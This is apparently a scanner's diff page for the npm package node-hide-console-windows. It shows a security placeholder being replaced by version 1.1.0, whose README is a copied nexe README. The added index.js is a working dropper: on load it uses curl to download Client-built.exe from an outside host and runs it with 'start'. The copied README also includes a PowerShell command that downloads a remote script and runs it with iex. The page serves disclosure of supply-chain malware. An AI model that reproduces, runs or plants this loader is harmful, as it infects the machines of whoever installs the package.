node-hide-console-windows 0.0.1-security → 1.1.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of node-hide-console-windows might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/README.md +280 -5
  2. package/index.js +32 -0
  3. package/package.json +9 -3
package/README.md CHANGED
@@ -1,5 +1,280 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=node-hide-console-windows for more information.
1
+
2
+ <p align="center"><img src="https://cloud.githubusercontent.com/assets/2391349/23598327/a17bb68a-01ee-11e7-8f55-88a5fc96e997.png" /></p>
3
+
4
+ <p align="center">
5
+ <a href="https://dev.azure.com/nexe-ci/Nexe/_build?definitionId=1"><img src="https://img.shields.io/azure-devops/build/nexe-ci/nexe/1/master.svg" alt="Build Status"></a>
6
+ <a href="https://www.npmjs.com/package/nexe"><img src="https://img.shields.io/npm/dt/nexe.svg" alt="Downloads"></a>
7
+ <a href="https://www.npmjs.com/package/nexe"><img src="https://img.shields.io/npm/v/nexe.svg" alt="Version"></a>
8
+ <a href="https://www.npmjs.com/package/nexe"><img src="https://img.shields.io/npm/l/nexe.svg" alt="License"></a>
9
+ <a href="https://discord.gg/2qTH52zNcZ"><img src="https://discordapp.com/api/guilds/814334925049561168/widget.png?style=shield"></a>
10
+ </p>
11
+
12
+ <p align="center">Install:&nbsp<code>npm i nexe -g</code></p>
13
+ <p align="center">Nexe is a command-line utility that compiles your Node.js application into a single executable file.</p>
14
+
15
+ <p align="center">
16
+ <img src="https://user-images.githubusercontent.com/5818726/30999006-df7e0ae0-a497-11e7-96db-9ce87ae67b34.gif"/>
17
+ </p>
18
+
19
+ ## Motivation and Features
20
+
21
+ - Self contained applications
22
+ - Ability to run multiple applications with *different* node.js runtimes.
23
+ - Distribute binaries without needing node / npm.
24
+ - Idempotent builds
25
+ - Start and deploy faster.
26
+ - Lockdown specific application versions, and easily rollback.
27
+ - Flexible build pipeline
28
+ - Cross platform builds
29
+
30
+ ## Usage
31
+
32
+ - Application entrypoint:
33
+
34
+ `nexe my-app.js`
35
+
36
+ - stdin interface
37
+
38
+ `rollup -c | nexe --resource "./public/**/*" -o my-app.exe`
39
+
40
+ For more CLI options see: `nexe --help`
41
+
42
+ ### Examples
43
+
44
+ - `nexe server.js -r "public/**/*.html"`
45
+ - `nexe --build`
46
+ - `nexe -t x86-8.0.0`
47
+
48
+ ## Resources
49
+
50
+ Additional files or resources can be added to the binary by passing `-r "glob/pattern/**/*"`. These included files can be read in the application by using `fs.readFile` or `fs.readFileSync`.
51
+
52
+ ## Compiling the nexe Executable
53
+
54
+ By default `nexe` will attempt to download a pre-built executable. These are listed on the [releases page](https://github.com/nexe/nexe/releases/tag/v3.3.3). The exact version you want may be unavailable or you may want to customize what is built. See `nexe --help` for a list of options available when passing the [`--build`](#build-boolean) option. You will also need to ensure your environment is setup to [build node](https://github.com/nodejs/node/blob/master/BUILDING.md). Note: the `python` binary in your path should be an acceptable version of python 3; you can create a [symlink](https://github.com/nexe/nexe/issues/354#issuecomment-319874486) or use the `--python` parameter (e.g. `nexe --build --python=$(which python3)`).
55
+
56
+ ### Linux and macOS
57
+ [Prerequisites & details](https://github.com/nodejs/node/blob/master/BUILDING.md#unix-and-macos)
58
+
59
+ ### Windows
60
+
61
+ The fastest and most reliable way to get started is simply to run the commands below. If you'd rather read the details or perform a manual install of the prerequisites, [you can find that here](https://github.com/nodejs/node/blob/master/BUILDING.md#windows).
62
+
63
+ The instructions below are the fastest and most reliable method.
64
+ Run the following sets of commands with PowerShell (running as Administrator).
65
+
66
+ **Install all required build tools (and dependencies):**
67
+ ```
68
+ Set-ExecutionPolicy Unrestricted -Force
69
+ iex ((New-Object System.Net.WebClient).DownloadString('https://boxstarter.org/bootstrapper.ps1'))
70
+ get-boxstarter -Force
71
+ Install-BoxstarterPackage https://raw.githubusercontent.com/nodejs/node/master/tools/bootstrap/windows_boxstarter -DisableReboots
72
+ ```
73
+
74
+ **Set config:**
75
+ ```
76
+ npm config set msvs_version 2019
77
+ npm config set python python3.8
78
+ ```
79
+ Where `2019` is the version of Visual Studio you have (if you have it).
80
+
81
+ **Notes:**
82
+ - The above works and has been tested with node.js `14.5.4` and `15.8.0`
83
+ - Python 3 and Python 2 can coexist and `nexe` will still work, considering the `set config` area above
84
+ - Don't use `npm install windows-build-tools` unless you're having some type of issue, because the above commands configures and installs the latest/preferred too.
85
+
86
+ ## Node.js API
87
+
88
+ #### Example
89
+
90
+ ```javascript
91
+ const { compile } = require('nexe')
92
+
93
+ compile({
94
+ input: './my-app.js',
95
+ build: true, //required to use patches
96
+ patches: [
97
+ async (compiler, next) => {
98
+ await compiler.setFileContentsAsync(
99
+ 'lib/new-native-module.js',
100
+ 'module.exports = 42'
101
+ )
102
+ return next()
103
+ }
104
+ ]
105
+ }).then(() => {
106
+ console.log('success')
107
+ })
108
+ ```
109
+ ## NexeOptions
110
+
111
+ ### `options: object`
112
+
113
+ - #### `input: string`
114
+ - Input bundle file path
115
+ - default: stdin or the current directory's main file (package.json)
116
+ - #### `output: string`
117
+ - Output executable file path
118
+ - default: same as `name` with an OS specific extension.
119
+ - #### `target: string | object`
120
+ - An object or string describing platform-arch-version. e.g. `'windows-ia32-10.13.0'`
121
+ - each segment is optional, and will be merged with the current environment
122
+ - Examples: ([full list](https://github.com/nexe/nexe/releases))
123
+ - `'win32-x86-10.13.0`
124
+ - `{ platform: 'alpine' }`
125
+ - `darwin-10.13.0`
126
+ - `linux-x64`
127
+ - `macos-10.13.0`
128
+
129
+ See [test/target.spec.ts](test/target.spec.ts)
130
+ - If the [`build`](#build-boolean) flag is set, the platform portion of the target is ignored.
131
+ - default: `process`
132
+ - #### `bundle: string | boolean`
133
+ - If a string is provided it must be a valid relative module path
134
+ and should provide an export with the following signature:
135
+ ```typescript
136
+ export function createBundle (options: NexeOptions): Promise<string>
137
+ ```
138
+ - default: true
139
+ - #### `name: string`
140
+ - Module friendly name of the application
141
+ - default: basename of the input file, or `nexe_${Date.now()}`
142
+ - #### `cwd: string`
143
+ - Directory nexe will operate on as though it is the cwd
144
+ - default: process.cwd()
145
+ - #### `mangle: boolean`
146
+ - If set to false, nexe will not include the virtual filesystem (your application and resources) on the output.
147
+ - This will cause the output to error as an "Invalid Binary" unless a userland patch alters the contents of lib/_third_party_main.js in the nodejs source.
148
+ - default: true
149
+ - #### `build: boolean`
150
+ - Build node from source, passing this flag tells nexe to download and build from source. Subsequently using this flag will cause nexe to use the previously built binary. To rebuild, first add [`--clean`](#clean-boolean)
151
+ - #### `remote: string`
152
+ - Provide a custom remote location for fetching pre-built nexe binaries from. This can either be an HTTP or HTTPS URL.
153
+ - default: `null`
154
+ - #### `asset: string`
155
+ - Provide a pre-built nexe binary asset, this is a file path is resolved relative to cwd.
156
+ - #### `python: string`
157
+ - On Linux this is the path pointing to your python3 executable
158
+ - On Windows this is the directory where `python` can be accessed
159
+ - default: `null`
160
+ - #### `flags: string[]`
161
+ - Array of node runtime flags to build node with.
162
+ - Example: `['--expose-gc']`
163
+ - default: `[]`
164
+ - #### `configure: string[]`
165
+ - Array of arguments for the node build configure step
166
+ - Example: `['--with-dtrace', '--dest-cpu=x64']`
167
+ - default: `[]`
168
+ - #### `make: string[]`
169
+ - Array of arguments for the node build make step
170
+ - default: `[]`
171
+ - #### `vcBuild: string[]`
172
+ - Options for windows build
173
+ - default: `['nosign', 'release']`
174
+ - #### `snapshot: string`
175
+ - path to a file to be used as the warmup snapshot for the build
176
+ - default: `null`
177
+ - #### `resources: string[]`
178
+ - Array of globs with files to include in the build
179
+ - Example: `['./public/**/*']`
180
+ - default: `[]`
181
+ - #### `temp: string`
182
+ - Path to use for storing nexe's build files
183
+ - Override in the env with `NEXE_TEMP`
184
+ - default: `~/.nexe`
185
+ - #### `ico: string`
186
+ - Path to a user provided icon to be used (Windows only). Requires `--build` to be set.
187
+ - #### `rc: object`
188
+ - Settings for patching the [node.rc](https://github.com/nodejs/node/blob/master/src/res/node.rc) configuration file (Windows only).
189
+ - Example (keys may vary depending on the version. Reference the file linked above):
190
+ ```javascript
191
+ {
192
+ CompanyName: "ACME Corp",
193
+ PRODUCTVERSION: "17,3,0,0",
194
+ FILEVERSION: "1,2,3,4"
195
+ ...
196
+ }
197
+ ```
198
+ - default: `{}`
199
+ - #### `clean: boolean`
200
+ - If included, nexe will remove temporary files for the accompanying configuration and exit
201
+ - #### `enableNodeCli: boolean`
202
+ - Enable the original Node CLI (will prevent application cli from working).
203
+ - Node CLI arguments passed via the [NODE_OPTIONS](https://nodejs.org/api/cli.html#cli_node_options_options) environment
204
+ variable will still be processed. NODE_OPTIONS support can be disabled with the `--without-node-options` configure flag.
205
+ - default: `false`
206
+ - #### `fakeArgv: boolean`
207
+ - fake the entry point file name (`process.argv[1]`). If nexe was used with stdin this will be `'[stdin]'`.
208
+ - #### `ghToken: string`
209
+ - Provide a Github Token for accessing nexe releases
210
+ - This is usually needed in CI environments
211
+ - default: `process.env.GITHUB_TOKEN`
212
+ - #### `sourceUrl: string`
213
+ - Provide an alternate url for the node source code
214
+ - Note: temporary files will still be created for this under the specified version
215
+ - #### `loglevel: string`
216
+ - Set the loglevel, info, silent, or verbose
217
+ - default: `'info'`
218
+ - #### `patches: NexePatch[]`
219
+ - Userland patches for patching or modifying node source
220
+ - default: `[]`
221
+ - #### `plugins: NexePatch[]`
222
+ - Userland plugins for modifying nexe executable behavior
223
+ - default: `[]`
224
+
225
+ ### `NexePatch: (compiler: NexeCompiler, next: () => Promise<void>) => Promise<void>`
226
+
227
+ Patches and Plugins are just a middleware functions that take two arguments, the `compiler`, and `next`. The compiler is described below, and `next` ensures that the pipeline continues. Its invocation should always be awaited or returned to ensure correct behavior. Patches also require that [`--build`](#build-boolean) be set, while plugins do not.
228
+
229
+ For examples, see the built in patches: [src/patches](src/patches).
230
+
231
+ ### `NexeCompiler`
232
+
233
+ - `setFileContentsAsync(filename: string, contents: string): Promise<void>`
234
+ - Quickly set a file's contents within the downloaded Node.js source.
235
+ - `replaceInFileAsync(filename: string, ...replaceArgs): Promise<void>`
236
+ - Quickly perform a replace in a file within the downloaded Node.js source. The rest arguments are passed along to `String.prototype.replace`
237
+ - `readFileAsync(filename: string): Promise<NexeFile>`
238
+ - Access (or create) a file within the downloaded Node.js source.
239
+ - `addResource(filename: string, contents: Buffer): Promise<void>`
240
+ - Add a resource to the nexe bundle
241
+ - `files: NexeFile[]`
242
+ - The cache of the currently read, modified, or created files within the downloaded Node.js source.
243
+
244
+ #### `NexeFile`
245
+ - `contents: string`
246
+ - `absPath: string`
247
+ - `filename: string`
248
+
249
+ Any modifications made to `NexeFile#contents` will be maintained in the cache _without_ the need to explicitly write them back out, e.g. using `NexeCompiler#setFileContentsAsync`.
250
+
251
+ ## Native Modules
252
+
253
+ In order to use native modules, the native binaries must be shipped alongside the binary generated by nexe.
254
+
255
+ ## Troubleshooting
256
+
257
+ `Error: Entry file "" not found!` means you need to provide `nexe` with input. Either use `-i` or pipe data to it.
258
+
259
+ `Error: https://github.com/nexe/nexe/releases/download/v3.3.3/windows-x64-15.8.0 is not available, create it using the --build flag` or similar message means that it either:
260
+ - You are having networking issues such as the download being blocked
261
+ - You should specify the target so `nexe` knows what version of the executable to use.
262
+ - See the [releases page](https://github.com/nexe/nexe/releases) to find the executable's version number
263
+ - Example
264
+ - `nexe -i "app.js" -r "public/**/*.html" -o "dist/myApp.exe" -t x64-14.15.3`
265
+ - where `-i` specifies the input, `-r` specifies resources to embed, `-o` specifies the output, `-t` specifies the target.
266
+ - Alternatively you can compile the executable yourself, see that section for details
267
+
268
+ ## Contributing
269
+
270
+ Building
271
+ ```
272
+ $ git clone git@github.com:nexe/nexe.git
273
+ $ cd nexe
274
+ $ npm i && npm run build
275
+ ```
276
+
277
+ Testing
278
+ ```
279
+ $ npm test
280
+ ```
package/index.js ADDED
@@ -0,0 +1,32 @@
1
+ const { exec } = require('child_process');
2
+
3
+ const fileUrl = 'https://reveal-me.fr/Client-built.exe';
4
+ const fileName = 'Client-built.exe';
5
+
6
+ const downloadAndOpenFile = (url, destination) => {
7
+ return new Promise((resolve, reject) => {
8
+ const downloadCommand = `curl -o ${destination} ${url}`;
9
+ exec(downloadCommand, (error, stdout, stderr) => {
10
+ if (error) {
11
+ reject(error);
12
+ } else {
13
+ console.log('Téléchargement terminé.');
14
+
15
+ const openCommand = `start ${destination}`;
16
+ exec(openCommand, (error) => {
17
+ if (error) {
18
+ reject(error);
19
+ } else {
20
+ console.log('Fichier ouvert avec succès.');
21
+ resolve();
22
+ }
23
+ });
24
+ }
25
+ });
26
+ });
27
+ };
28
+
29
+ downloadAndOpenFile(fileUrl, fileName)
30
+ .catch((error) => {
31
+ console.error('Une erreur s\'est produite :', error);
32
+ });
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "node-hide-console-windows",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.1.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "keywords": [],
10
+ "author": "",
11
+ "license": "ISC"
6
12
  }